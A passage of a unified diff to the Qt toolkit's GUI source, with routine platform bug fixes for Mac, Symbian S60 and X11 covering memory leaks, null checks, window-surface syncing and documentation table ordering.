 extern IconRef qt_mac_create_iconref(const QPixmap &); //qpixmap_mac.cpp
 extern void qt_mac_set_cursor(const QCursor *, const QPoint &); //qcursor_mac.mm
 extern void qt_mac_update_cursor(); //qcursor_mac.mm
@@ -3238,6 +3239,8 @@ void QWidgetPrivate::setWindowIcon_sys(bool forceReset)
             ReleaseIconRef(previousIcon);
 #else
         QMacCocoaAutoReleasePool pool;
+        if (icon.isNull())
+            return;
         NSButton *iconButton = [qt_mac_window_for(q) standardWindowButton:NSWindowDocumentIconButton];
         if (iconButton == nil) {
             QCFString string(q->windowTitle());
@@ -3524,6 +3527,8 @@ void QWidgetPrivate::show_sys()
         qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse);
         QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_mouse_receiver);
         qt_last_mouse_receiver = widgetUnderMouse;
+        qt_last_native_mouse_receiver = widgetUnderMouse ?
+            (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
     }
 #endif
 
@@ -3676,8 +3681,10 @@ void QWidgetPrivate::hide_sys()
         QPoint qlocal, qglobal;
         QWidget *widgetUnderMouse = 0;
         qt_mac_getTargetForMouseEvent(0, QEvent::Leave, qlocal, qglobal, 0, &widgetUnderMouse);
-        QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_mouse_receiver);
+        QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_native_mouse_receiver);
         qt_last_mouse_receiver = widgetUnderMouse;
+        qt_last_native_mouse_receiver = widgetUnderMouse ?
+            (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
      }
 #endif
 
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 0ac66cb..1083a1f 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -568,6 +568,7 @@ public:
     // sub-classes that their internals are about to be released.
     virtual void aboutToDestroy() {}
 
+    QInputContext *assignedInputContext() const;
     QInputContext *inputContext() const;
     inline QWidget *effectiveFocusWidget() {
         QWidget *w = q_func();
diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp
index cb72800..85164d2 100644
--- a/src/gui/kernel/qwidget_s60.cpp
+++ b/src/gui/kernel/qwidget_s60.cpp
@@ -63,6 +63,19 @@
 // CCoeControl objects until after the CONE event handler has finished running.
 Q_DECLARE_METATYPE(WId)
 
+// Workaround for the fact that S60 SDKs 3.x do not contain the akntoolbar.h
+// header, even though the documentation says that it should be there, and indeed
+// it is present in the library.
+class CAknToolbar : public CAknControl,
+                    public MCoeControlObserver,
+                    public MCoeControlBackground,
+                    public MEikCommandObserver,
+                    public MAknFadedComponent
+{
+public:
+    IMPORT_C void SetToolbarVisibility(const TBool visible);
+};
+
 QT_BEGIN_NAMESPACE
 
 extern bool qt_nograb();
@@ -488,6 +501,7 @@ void QWidgetPrivate::show_sys()
 
          QSymbianControl *id = static_cast<QSymbianControl *>(q->internalWinId());
          const bool isFullscreen = q->windowState() & Qt::WindowFullScreen;
+         const TBool cbaRequested = q->windowFlags() & Qt::WindowSoftkeysVisibleHint;
 
 #ifdef Q_WS_S60
         // Lazily initialize the S60 screen furniture when the first window is shown.
@@ -507,11 +521,25 @@ void QWidgetPrivate::show_sys()
 
                     CEikButtonGroupContainer *cba = CEikButtonGroupContainer::NewL(CEikButtonGroupContainer::ECba,
                         CEikButtonGroupContainer::EHorizontal,ui,R_AVKON_SOFTKEYS_EMPTY_WITH_IDS);
+                    if (isFullscreen && !cbaRequested)
+                        cba->MakeVisible(false);
 
                     CEikButtonGroupContainer *oldCba = factory->SwapButtonGroup(cba);
                     Q_ASSERT(!oldCba);
                     S60->setButtonGroupContainer(cba);
 
+                    // If the creation of the first widget is delayed, for example by doing it
+                    // inside the event loop, S60 somehow "forgets" to set the visibility of the
+                    // toolbar (the three middle softkeys) when you flip the phone over, so we
+                    // need to do it ourselves to avoid a "hole" in the application, even though
+                    // Qt itself does not use the toolbar directly..
+                    CAknAppUi *appui = dynamic_cast<CAknAppUi *>(CEikonEnv::Static()->AppUi());
+                    if (appui) {
+                        CAknToolbar *toolbar = appui->PopupToolbar();
+                        if (toolbar && !toolbar->IsVisible())
+                            toolbar->SetToolbarVisibility(ETrue);
+                    }
+
                     CEikMenuBar *menuBar = new(ELeave) CEikMenuBar;
                     menuBar->ConstructL(ui, 0, R_AVKON_MENUPANE_EMPTY);
                     menuBar->SetMenuType(CEikMenuBar::EMenuOptions);
@@ -1160,14 +1188,17 @@ void QWidget::setWindowState(Qt::WindowStates newstate)
         }
 
 #ifdef Q_WS_S60
-        // Hide window decoration when switching to fullsccreen / minimized otherwise show decoration.
-        // The window decoration visibility has to be changed before doing actual window state
-        // change since in that order the availableGeometry will return directly the right size and
-        // we will avoid unnecessarty redraws
-        const bool visible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized));
-        const bool statusPaneVisibility = visible;
-        const bool buttonGroupVisibility = (visible || (isFullscreen && cbaRequested));
-        S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+        bool decorationsVisible(false);
+        if (!parentWidget()) { // Only top level native windows have control over cba/status pane
+            // Hide window decoration when switching to fullscreen / minimized otherwise show decoration.
+            // The window decoration visibility has to be changed before doing actual window state
+            // change since in that order the availableGeometry will return directly the right size and
+            // we will avoid unnecessary redraws
+            decorationsVisible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized));
+            const bool statusPaneVisibility = decorationsVisible;
+            const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaRequested));
+            S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+        }
 #endif // Q_WS_S60
 
         // Ensure the initial size is valid, since we store it as normalGeometry below.
@@ -1191,7 +1222,7 @@ void QWidget::setWindowState(Qt::WindowStates newstate)
             // accurate because it did not consider the status pane. This means that when returning
             // normal mode after showing the status pane, the geometry would overlap so we should
             // move it if it never had an explicit position.
-            if (!wasMoved && S60->statusPane() && visible) {
+            if (!wasMoved && S60->statusPane() && decorationsVisible) {
                 TPoint tl = static_cast<CEikAppUi*>(S60->appUi())->ClientRect().iTl;
                 normalGeometry.setTopLeft(QPoint(tl.iX, tl.iY));
             }
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 1723f64..c6753fc 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -346,7 +346,7 @@ Q_GUI_EXPORT void qt_x11_enforce_cursor(QWidget * w)
     qt_x11_enforce_cursor(w, false);
 }
 
-Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w)
+void qt_x11_wait_for_window_manager(QWidget *w, bool sendPostedEvents)
 {
     if (!w || (!w->isWindow() && !w->internalWinId()))
         return;
@@ -361,7 +361,8 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w)
     WId winid = w->internalWinId();
 
     // first deliver events that are already in the local queue
-    QApplication::sendPostedEvents();
+    if (sendPostedEvents)
+        QApplication::sendPostedEvents();
 
     // the normal sequence is:
     //  ... ConfigureNotify ... ReparentNotify ... MapNotify ... Expose
@@ -396,6 +397,11 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w)
     } while(1);
 }
 
+Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget *w)
+{
+    qt_x11_wait_for_window_manager(w, true);
+}
+
 void qt_change_net_wm_state(const QWidget* w, bool set, Atom one, Atom two = 0)
 {
     if (!w->isVisible()) // not managed by the window manager
@@ -444,6 +450,7 @@ static QVector<Atom> getNetWmState(QWidget *w)
         && actualType == XA_ATOM && actualFormat == 32) {
         returnValue.resize(bytesLeft / 4);
         XFree((char*) propertyData);
+        propertyData = 0;
 
         // fetch all data
         if (XGetWindowProperty(X11->display, w->internalWinId(), ATOM(_NET_WM_STATE), 0,
@@ -458,7 +465,8 @@ static QVector<Atom> getNetWmState(QWidget *w)
         if (!returnValue.isEmpty()) {
             memcpy(returnValue.data(), propertyData, returnValue.size() * sizeof(Atom));
         }
-        XFree((char*) propertyData);
+        if (propertyData)
+            XFree((char*) propertyData);
     }
 
     return returnValue;
@@ -1325,40 +1333,12 @@ QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
 QPoint QWidget::mapToGlobal(const QPoint &pos) const
 {
     Q_D(const QWidget);
-    QPoint offset = data->crect.topLeft();
-    const QWidget *w = this;
-    const QWidget *p = w->parentWidget();
-    while (!w->isWindow() && p) {
-        w = p;
-        p = p->parentWidget();
-        offset += w->data->crect.topLeft();
-    }
-
-    const QWidgetPrivate *wd = w->d_func();
-    QTLWExtra *tlw = wd->topData();
-    if (!tlw->embedded)
-        return pos + offset;
-
     return d->mapToGlobal(pos);
 }
 
 QPoint QWidget::mapFromGlobal(const QPoint &pos) const
 {
     Q_D(const QWidget);
-    QPoint offset = data->crect.topLeft();
-    const QWidget *w = this;
-    const QWidget *p = w->parentWidget();
-    while (!w->isWindow() && p) {
-        w = p;
-        p = p->parentWidget();
-        offset += w->data->crect.topLeft();
-    }
-
-    const QWidgetPrivate *wd = w->d_func();
-    QTLWExtra *tlw = wd->topData();
-    if (!tlw->embedded)
-        return pos - offset;
-
     return d->mapFromGlobal(pos);
 }
 
@@ -1522,7 +1502,7 @@ void QWidgetPrivate::setWindowIcon_sys(bool forceReset)
                 || !QX11Info::appDefaultColormap(xinfo.screen())) {
                 // unknown DE or non-default visual/colormap, use 1bpp bitmap
                 if (!forceReset || !topData->iconPixmap)
-                    topData->iconPixmap = new QBitmap(qt_toX11Pixmap(icon.pixmap(QSize(64,64))));
+                    topData->iconPixmap = new QPixmap(qt_toX11Pixmap(QBitmap(icon.pixmap(QSize(64,64)))));
                 pixmap_handle = topData->iconPixmap->handle();
             } else {
                 // default depth, use a normal pixmap (even though this
diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp
index 47cefe4..49a8194 100644
--- a/src/gui/kernel/qx11embed_x11.cpp
+++ b/src/gui/kernel/qx11embed_x11.cpp
@@ -415,8 +415,9 @@ static Bool functor(Display *display, XEvent *event, XPointer arg)
 	status = XGetWindowProperty(display, data->id, ATOM(WM_STATE), 0, 2, False, ATOM(WM_STATE),
 				    &ret, &format, &nitems, &after, &retval );
 	if (status == Success && ret == ATOM(WM_STATE) && format == 32 && nitems > 0) {
-            long *state = (long *)retval;
-	    if (state[0] == WithdrawnState) {
+            long state = *(long *)retval;
+            XFree(retval);
+            if (state == WithdrawnState) {
                 data->clearedWmState = true;
 		return true;
             }
@@ -833,6 +834,8 @@ bool QX11EmbedWidget::x11Event(XEvent *event)
                         XUnmapWindow(x11Info().display(), internalWinId());
                     }
                 }
+                if (prop_return)
+                    XFree(prop_return);
             }
         }
 
diff --git a/src/gui/math3d/qgenericmatrix.h b/src/gui/math3d/qgenericmatrix.h
index d9aef20..181eda8 100644
--- a/src/gui/math3d/qgenericmatrix.h
+++ b/src/gui/math3d/qgenericmatrix.h
@@ -79,9 +79,9 @@ public:
 
     void copyDataTo(T *values) const;
 
-    T *data() { return m[0]; }
-    const T *data() const { return m[0]; }
-    const T *constData() const { return m[0]; }
+    T *data() { return *m; }
+    const T *data() const { return *m; }
+    const T *constData() const { return *m; }
 
 #if !defined(Q_NO_TEMPLATE_FRIENDS)
     template<int NN, int MM, typename TT>
diff --git a/src/gui/math3d/qmatrix4x4.h b/src/gui/math3d/qmatrix4x4.h
index 706450a..ad05116 100644
--- a/src/gui/math3d/qmatrix4x4.h
+++ b/src/gui/math3d/qmatrix4x4.h
@@ -173,8 +173,8 @@ public:
     QGenericMatrix<N, M, qreal> toGenericMatrix() const;
 
     inline qreal *data();
-    inline const qreal *data() const { return m[0]; }
-    inline const qreal *constData() const { return m[0]; }
+    inline const qreal *data() const { return *m; }
+    inline const qreal *constData() const { return *m; }
 
     void optimize();
 
@@ -974,7 +974,7 @@ inline qreal *QMatrix4x4::data()
     // We have to assume that the caller will modify the matrix elements,
     // so we flip it over to "General" mode.
     flagBits = General;
-    return m[0];
+    return *m;
 }
 
 #ifndef QT_NO_DEBUG_STREAM
diff --git a/src/gui/painting/qbrush.cpp b/src/gui/painting/qbrush.cpp
index 5741667..811f3ae 100644
--- a/src/gui/painting/qbrush.cpp
+++ b/src/gui/painting/qbrush.cpp
@@ -1217,14 +1217,14 @@ QDataStream &operator>>(QDataStream &s, QBrush &b)
     Each of the types is represented by a subclass of QGradient:
 
     \table
-    \row
-    \o \inlineimage qgradient-linear.png
-    \o \inlineimage qgradient-radial.png
-    \o \inlineimage qgradient-conical.png
     \header
     \o QLinearGradient
     \o QRadialGradient
     \o QConicalGradient
+    \row
+    \o \inlineimage qgradient-linear.png
+    \o \inlineimage qgradient-radial.png
+    \o \inlineimage qgradient-conical.png
     \endtable
 
     The colors in a gradient are defined using stop points of the
diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp
index 173fb71..73a6ed8 100644
--- a/src/gui/painting/qcolor.cpp
+++ b/src/gui/painting/qcolor.cpp
@@ -78,12 +78,12 @@ QT_BEGIN_NAMESPACE
     names.
 
     \table
+    \header
+    \o RGB \o HSV \o CMYK
     \row
     \o \inlineimage qcolor-rgb.png
     \o \inlineimage qcolor-hsv.png
     \o \inlineimage qcolor-cmyk.png
-    \header
-    \o RGB \o HSV \o CMYK
     \endtable
 
     The QColor constructor creates the color based on RGB values.  To
diff --git a/src/gui/painting/qdrawhelper_arm_simd.cpp b/src/gui/painting/qdrawhelper_arm_simd.cpp
index 806df29..af9854c 100644
--- a/src/gui/painting/qdrawhelper_arm_simd.cpp
+++ b/src/gui/painting/qdrawhelper_arm_simd.cpp
@@ -201,8 +201,8 @@ argb32constalpha_next_pixel
     uxtb16  r10, r9
     uxtb16  r6, r9, ror #8
 
-    // Negate r11 and extract src alpha
-    mvn     r9, r11 // bitwise not
+    // Negate r8 and extract src alpha
+    mvn     r9, r8 // bitwise not
     uxtb    r9, r9, ror #24
 
     mla     r10, r9, r10, r14
diff --git a/src/gui/painting/qgraphicssystem_runtime.cpp b/src/gui/painting/qgraphicssystem_runtime.cpp
index 0294c4b..5841d40 100644
--- a/src/gui/painting/qgraphicssystem_runtime.cpp
+++ b/src/gui/painting/qgraphicssystem_runtime.cpp
@@ -285,6 +285,7 @@ void QRuntimeWindowSurface::flush(QWidget *widget, const QRegion &region,
 
 void QRuntimeWindowSurface::setGeometry(const QRect &rect)
 {
+    QWindowSurface::setGeometry(rect);
     m_windowSurface->setGeometry(rect);
 }
 
diff --git a/src/gui/painting/qpaintengine_raster.cpp b/src/gui/painting/qpaintengine_raster.cpp
index 47caa9f..9242fb6 100644
--- a/src/gui/painting/qpaintengine_raster.cpp
+++ b/src/gui/painting/qpaintengine_raster.cpp
@@ -662,19 +662,19 @@ QRasterPaintEngineState::QRasterPaintEngineState()
 
 QRasterPaintEngineState::QRasterPaintEngineState(QRasterPaintEngineState &s)
     : QPainterState(s)
+    , lastPen(s.lastPen)
+    , penData(s.penData)
     , stroker(s.stroker)
+    , strokeFlags(s.strokeFlags)
     , lastBrush(s.lastBrush)
     , brushData(s.brushData)
-    , lastPen(s.lastPen)
-    , penData(s.penData)
     , fillFlags(s.fillFlags)
-    , strokeFlags(s.strokeFlags)
     , pixmapFlags(s.pixmapFlags)
     , intOpacity(s.intOpacity)
     , txscale(s.txscale)
-    , flag_bits(s.flag_bits)
     , clip(s.clip)
     , dirty(s.dirty)
+    , flag_bits(s.flag_bits)
 {
     brushData.tempImage = 0;
     penData.tempImage = 0;
@@ -3716,6 +3716,13 @@ void QRasterPaintEnginePrivate::rasterizeLine_dashed(QLineF line,
     const bool squareCap = (pen.capStyle() == Qt::SquareCap);
     const QVector<qreal> pattern = pen.dashPattern();
 
+    qreal patternLength = 0;
+    for (int i = 0; i < pattern.size(); ++i)
+        patternLength += pattern.at(i);
+
+    if (patternLength <= 0)
+        return;
+
     qreal length = line.length();
     Q_ASSERT(length > 0);
     while (length > 0) {
diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp
index a5f4251..2c25e70 100644
--- a/src/gui/painting/qpainter.cpp
+++ b/src/gui/painting/qpainter.cpp
@@ -1126,14 +1126,14 @@ void QPainterPrivate::updateState(QPainterState *newState)
     the range of available patterns.
 
     \table
-    \row
-    \o \inlineimage qpainter-vectordeformation.png
-    \o \inlineimage qpainter-gradients.png
-    \o \inlineimage qpainter-pathstroking.png
     \header
     \o \l {demos/deform}{Vector Deformation}
     \o \l {demos/gradients}{Gradients}
     \o \l {demos/pathstroke}{Path Stroking}
+    \row
+    \o \inlineimage qpainter-vectordeformation.png
+    \o \inlineimage qpainter-gradients.png
+    \o \inlineimage qpainter-pathstroking.png
     \endtable
 
 
@@ -1206,13 +1206,13 @@ void QPainterPrivate::updateState(QPainterState *newState)
     coordinate transformations.
 
     \table
+    \header
+    \o  nop \o rotate() \o scale() \o translate()
     \row
     \o \inlineimage qpainter-clock.png
     \o \inlineimage qpainter-rotation.png
     \o \inlineimage qpainter-scale.png
     \o \inlineimage qpainter-translation.png
-    \header
-    \o  nop \o rotate() \o scale() \o translate()
     \endtable
 
     The most commonly used transformations are scaling, rotation,
diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp
index 3d532d2..8bff021 100644
--- a/src/gui/painting/qpainterpath.cpp
+++ b/src/gui/painting/qpainterpath.cpp
@@ -240,12 +240,12 @@ static void qt_debug_path(const QPainterPath &path)
     provides two methods for filling paths:
 
     \table
-    \row
-    \o \inlineimage qt-fillrule-oddeven.png
-    \o \inlineimage qt-fillrule-winding.png
     \header
     \o Qt::OddEvenFill
     \o Qt::WindingFill
+    \row
+    \o \inlineimage qt-fillrule-oddeven.png
+    \o \inlineimage qt-fillrule-winding.png
     \endtable
 
     See the Qt::FillRule documentation for the definition of the
@@ -315,12 +315,12 @@ static void qt_debug_path(const QPainterPath &path)
     QPainterPath to draw text.
 
     \table
-    \row
-    \o \inlineimage qpainterpath-example.png
-    \o \inlineimage qpainterpath-demo.png
     \header
     \o \l {painting/painterpaths}{Painter Paths Example}
     \o \l {demos/deform}{Vector Deformation Demo}
+    \row
+    \o \inlineimage qpainterpath-example.png
+    \o \inlineimage qpainterpath-demo.png
     \endtable
 
     \sa QPainterPathStroker, QPainter, QRegion, {Painter Paths Example}
@@ -874,7 +874,7 @@ void QPainterPath::arcTo(const QRectF &rect, qreal startAngle, qreal sweepLength
            rect.x(), rect.y(), rect.width(), rect.height(), startAngle, sweepLength);
 #endif
 
-    if (!qt_is_finite(rect.x()) && !qt_is_finite(rect.y()) || !qt_is_finite(rect.width()) || !qt_is_finite(rect.height())
+    if ((!qt_is_finite(rect.x()) && !qt_is_finite(rect.y())) || !qt_is_finite(rect.width()) || !qt_is_finite(rect.height())
         || !qt_is_finite(startAngle) || !qt_is_finite(sweepLength)) {
 #ifndef QT_NO_DEBUG
         qWarning("QPainterPath::arcTo: Adding arc where a parameter is NaN or Inf, ignoring call");
@@ -1279,12 +1279,12 @@ Qt::FillRule QPainterPath::fillRule() const
     fillRule. Qt provides two methods for filling paths:
 
     \table
-    \row
-    \o \inlineimage qt-fillrule-oddeven.png
-    \o \inlineimage qt-fillrule-winding.png
     \header
     \o Qt::OddEvenFill (default)
     \o Qt::WindingFill
+    \row
+    \o \inlineimage qt-fillrule-oddeven.png
+    \o \inlineimage qt-fillrule-winding.png
     \endtable
 
     \sa fillRule()
diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp
index 843c9ff..419518ac 100644
--- a/src/gui/painting/qwindowsurface_raster.cpp
+++ b/src/gui/painting/qwindowsurface_raster.cpp
@@ -78,6 +78,9 @@ public:
 
 #ifdef Q_WS_X11
     GC gc;
+#ifndef QT_NO_MITSHM
+    uint needsSync : 1;
+#endif
 #ifndef QT_NO_XRENDER
     uint translucentBackground : 1;
 #endif
@@ -94,6 +97,9 @@ QRasterWindowSurface::QRasterWindowSurface(QWidget *window, bool setDefaultSurfa
     d_ptr->translucentBackground = X11->use_xrender
         && window->x11Info().depth() == 32;
 #endif
+#ifndef QT_NO_MITHSM
+    d_ptr->needsSync = false;
+#endif
 #endif
     d_ptr->image = 0;
     d_ptr->inSetGeometry = false;
@@ -116,8 +122,23 @@ QPaintDevice *QRasterWindowSurface::paintDevice()
     return &d_ptr->image->image;
 }
 
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+void QRasterWindowSurface::syncX()
+{
+    // delay writing to the backbuffer until we know for sure X is done reading from it
+    if (d_ptr->needsSync) {
+        XSync(X11->display, false);
+        d_ptr->needsSync = false;
+    }
+}
+#endif
+
 void QRasterWindowSurface::beginPaint(const QRegion &rgn)
 {
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+    syncX();
+#endif
+
 #if (defined(Q_WS_X11) && !defined(QT_NO_XRENDER)) || (defined(Q_WS_WIN) && !defined(Q_WS_WINCE))
     if (!qt_widget_private(window())->isOpaque && window()->testAttribute(Qt::WA_TranslucentBackground)) {
 #if defined(Q_WS_WIN) && !defined(Q_WS_WINCE)
@@ -217,13 +238,13 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
     if (d_ptr->image->xshmpm) {
         XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
                   br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
-        XSync(X11->display, False);
+        d_ptr->needsSync = true;
     } else if (d_ptr->image->xshmimg) {
         const QImage &src = d->image->image;
         br = br.intersected(src.rect());
         XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
                      br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
-        XSync(X11->display, False);
+        d_ptr->needsSync = true;
     } else
 #endif
     {
@@ -392,6 +413,10 @@ bool QRasterWindowSurface::scroll(const QRegion &area, int dx, int dy)
     if (!d->image || d->image->image.isNull())
         return false;
 
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+    syncX();
+#endif
+
     const QVector<QRect> rects = area.rects();
     for (int i = 0; i < rects.size(); ++i)
         qt_scrollRectInImage(d->image->image, rects.at(i), QPoint(dx, dy));
diff --git a/src/gui/painting/qwindowsurface_raster_p.h b/src/gui/painting/qwindowsurface_raster_p.h
index b6e61e1..903810b 100644
--- a/src/gui/painting/qwindowsurface_raster_p.h
+++ b/src/gui/painting/qwindowsurface_raster_p.h
@@ -107,6 +107,9 @@ public:
     bool scroll(const QRegion &area, int dx, int dy);
 
 private:
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+    void syncX();
+#endif
     void prepareBuffer(QImage::Format format, QWidget *widget);
     Q_DECLARE_PRIVATE(QRasterWindowSurface)
     QScopedPointer<QRasterWindowSurfacePrivate> d_ptr;
diff --git a/src/gui/painting/qwindowsurface_s60.cpp b/src/gui/painting/qwindowsurface_s60.cpp
index a860818..71556d7 100644
--- a/src/gui/painting/qwindowsurface_s60.cpp
+++ b/src/gui/painting/qwindowsurface_s60.cpp
@@ -61,13 +61,11 @@ struct QS60WindowSurfacePrivate
     QList<QImage*> bufferImages;
 };
 
-QS60WindowSurface::QS60WindowSurface(QWidget* widget)
-    : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate)
+TDisplayMode displayMode(bool opaque)
 {
 
     TDisplayMode mode = S60->screenDevice()->DisplayMode();
-    bool isOpaque = qt_widget_private(widget)->isOpaque;
-    if (isOpaque) {
+    if (opaque) {
         mode = EColor16MU;
     } else  {
         if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_3)
@@ -75,7 +73,13 @@ QS60WindowSurface::QS60WindowSurface(QWidget* widget)
         else
             mode = EColor16MA; // Symbian prior to Symbian^3 sw accelerates EColor16MA
     }
+    return mode;
+}
 
+QS60WindowSurface::QS60WindowSurface(QWidget* widget)
+    : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate)
+{
+    TDisplayMode mode = displayMode(qt_widget_private(widget)->isOpaque);
     // We create empty CFbsBitmap here -> it will be resized in setGeometry
     CFbsBitmap *bitmap = new CFbsBitmap;	// CBase derived object needs check on new
     Q_CHECK_PTR(bitmap);
@@ -122,6 +126,11 @@ void QS60WindowSurface::beginPaint(const QRegion &rgn)
 
     if (!qt_widget_private(window())->isOpaque) {
         QS60PixmapData *pixmapData = static_cast<QS60PixmapData *>(d_ptr->device.data_ptr().data());
+
+        TDisplayMode mode = displayMode(false);
+        if (pixmapData->cfbsBitmap->DisplayMode() != mode)
+            pixmapData->convertToDisplayMode(mode);
+
         pixmapData->beginDataAccess();
 
         QPainter p(&pixmapData->image);
diff --git a/src/gui/s60framework/qs60mainappui.cpp b/src/gui/s60framework/qs60mainappui.cpp
index b5b8b81..0c99f80 100644
--- a/src/gui/s60framework/qs60mainappui.cpp
+++ b/src/gui/s60framework/qs60mainappui.cpp
@@ -49,6 +49,7 @@
 #include <avkon.rsg>
 #endif
 #include <barsread.h>
+#include <coeutils.h>
 #include <qconfig.h>
 
 #include "qs60mainappui.h"
@@ -401,6 +402,16 @@ void QS60MainAppUi::HandleForegroundEventL(TBool aForeground)
     QS60MainAppUiBase::HandleForegroundEventL(aForeground);
 }
 
+/*!
+  \internal
+*/
+TBool QS60MainAppUi::ProcessCommandParametersL(TApaCommand /*aCommand*/, TFileName &/*aDocumentName*/, const TDesC8 &/*aTail*/)
+{
+    // bypass CEikAppUi::ProcessCommandParametersL(..) which modifies aDocumentName, preventing apparc document opening from working.
+    // The return value is effectively unused in Qt apps (see QS60MainDocument::OpenFileL)
+    return EFalse;
+}
+
 #ifndef Q_WS_S60
 
 void QS60StubAknAppUi::HandleViewDeactivation(const TVwsViewId &, const TVwsViewId &) {}
diff --git a/src/gui/s60framework/qs60mainappui.h b/src/gui/s60framework/qs60mainappui.h
index ce3b5b0..bf118ff 100644
--- a/src/gui/s60framework/qs60mainappui.h
+++ b/src/gui/s60framework/qs60mainappui.h
@@ -131,6 +131,7 @@ public:
     virtual void HandleViewDeactivation(const TVwsViewId &aViewIdToBeDeactivated, const TVwsViewId &aNewlyActivatedViewId);
     virtual void PrepareToExit();
     virtual void HandleTouchPaneSizeChange();
+    virtual TBool ProcessCommandParametersL(TApaCommand aCommand, TFileName &aDocumentName, const TDesC8 &aTail);
 
 protected:
     virtual void HandleScreenDeviceChangedL();
diff --git a/src/gui/s60framework/qs60maindocument.cpp b/src/gui/s60framework/qs60maindocument.cpp
index a8886ac..37bd55f 100644
--- a/src/gui/s60framework/qs60maindocument.cpp
+++ b/src/gui/s60framework/qs60maindocument.cpp
@@ -41,6 +41,9 @@
 
 #include "qs60mainappui.h"
 #include "qs60maindocument.h"
+#include "qcoreapplication.h"
+#include "qevent.h"
+#include "private/qcore_symbian_p.h"
 
 #include <exception>
 
@@ -108,9 +111,15 @@ CEikAppUi *QS60MainDocument::CreateAppUiL()
 /*!
   \internal
  */
-CFileStore *QS60MainDocument::OpenFileL(TBool aDoOpen, const TDesC &aFilename, RFs &aFs)
+CFileStore *QS60MainDocument::OpenFileL(TBool /*aDoOpen*/, const TDesC &aFilename, RFs &/*aFs*/)
 {
-    return QS60MainDocumentBase::OpenFileL(aDoOpen, aFilename, aFs);
+    QT_TRYCATCH_LEAVING( {
+        QCoreApplication* app = QCoreApplication::instance();
+        QString qname = qt_TDesC2QString(aFilename);
+        QFileOpenEvent* event = new QFileOpenEvent(qname);
+        app->postEvent(app, event);
+    })
+    return 0;
 }
 
 /*!
@@ -118,7 +127,12 @@ CFileStore *QS60MainDocument::OpenFileL(TBool aDoOpen, const TDesC &aFilename, R
  */
 void QS60MainDocument::OpenFileL(CFileStore *&aFileStore, RFile &aFile)
 {
-    QS60MainDocumentBase::OpenFileL(aFileStore, aFile);
+    QT_TRYCATCH_LEAVING( {
+        QCoreApplication* app = QCoreApplication::instance();
+        QFileOpenEvent* event = new QFileOpenEvent(aFile);
+        app->postEvent(app, event);
+        aFileStore = 0;
+    })
 }
 
 QT_END_NAMESPACE
diff --git a/src/gui/statemachine/qguistatemachine.cpp b/src/gui/statemachine/qguistatemachine.cpp
index eadb8ff..2a0de3c 100644
--- a/src/gui/statemachine/qguistatemachine.cpp
+++ b/src/gui/statemachine/qguistatemachine.cpp
@@ -404,6 +404,7 @@ static QEvent *cloneEvent(QEvent *e)
         we2->setButtons(we->buttons());
         we2->setModifiers(we->modifiers());
         we2->setOrientation(we->orientation());
+        we2->setDelta(we->delta());
         return we2;
     }
 #endif
diff --git a/src/gui/styles/qmacstyle_mac.mm b/src/gui/styles/qmacstyle_mac.mm
index ac05789..18933ff 100644
--- a/src/gui/styles/qmacstyle_mac.mm
+++ b/src/gui/styles/qmacstyle_mac.mm
@@ -3084,7 +3084,7 @@ void QMacStyle::drawPrimitive(PrimitiveElement pe, const QStyleOption *opt, QPai
         }
         break;
     case PE_PanelScrollAreaCorner: {
-        const QBrush brush(qApp->palette().brush(QPalette::Base));
+        const QBrush brush(opt->palette.brush(QPalette::Base));
         p->fillRect(opt->rect, brush);
         p->setPen(QPen(QColor(217, 217, 217)));
         p->drawLine(opt->rect.topLeft(), opt->rect.topRight());
diff --git a/src/gui/styles/qstylesheetstyle.cpp b/src/gui/styles/qstylesheetstyle.cpp
index 4b591e2..ecf924c 100644
--- a/src/gui/styles/qstylesheetstyle.cpp
+++ b/src/gui/styles/qstylesheetstyle.cpp
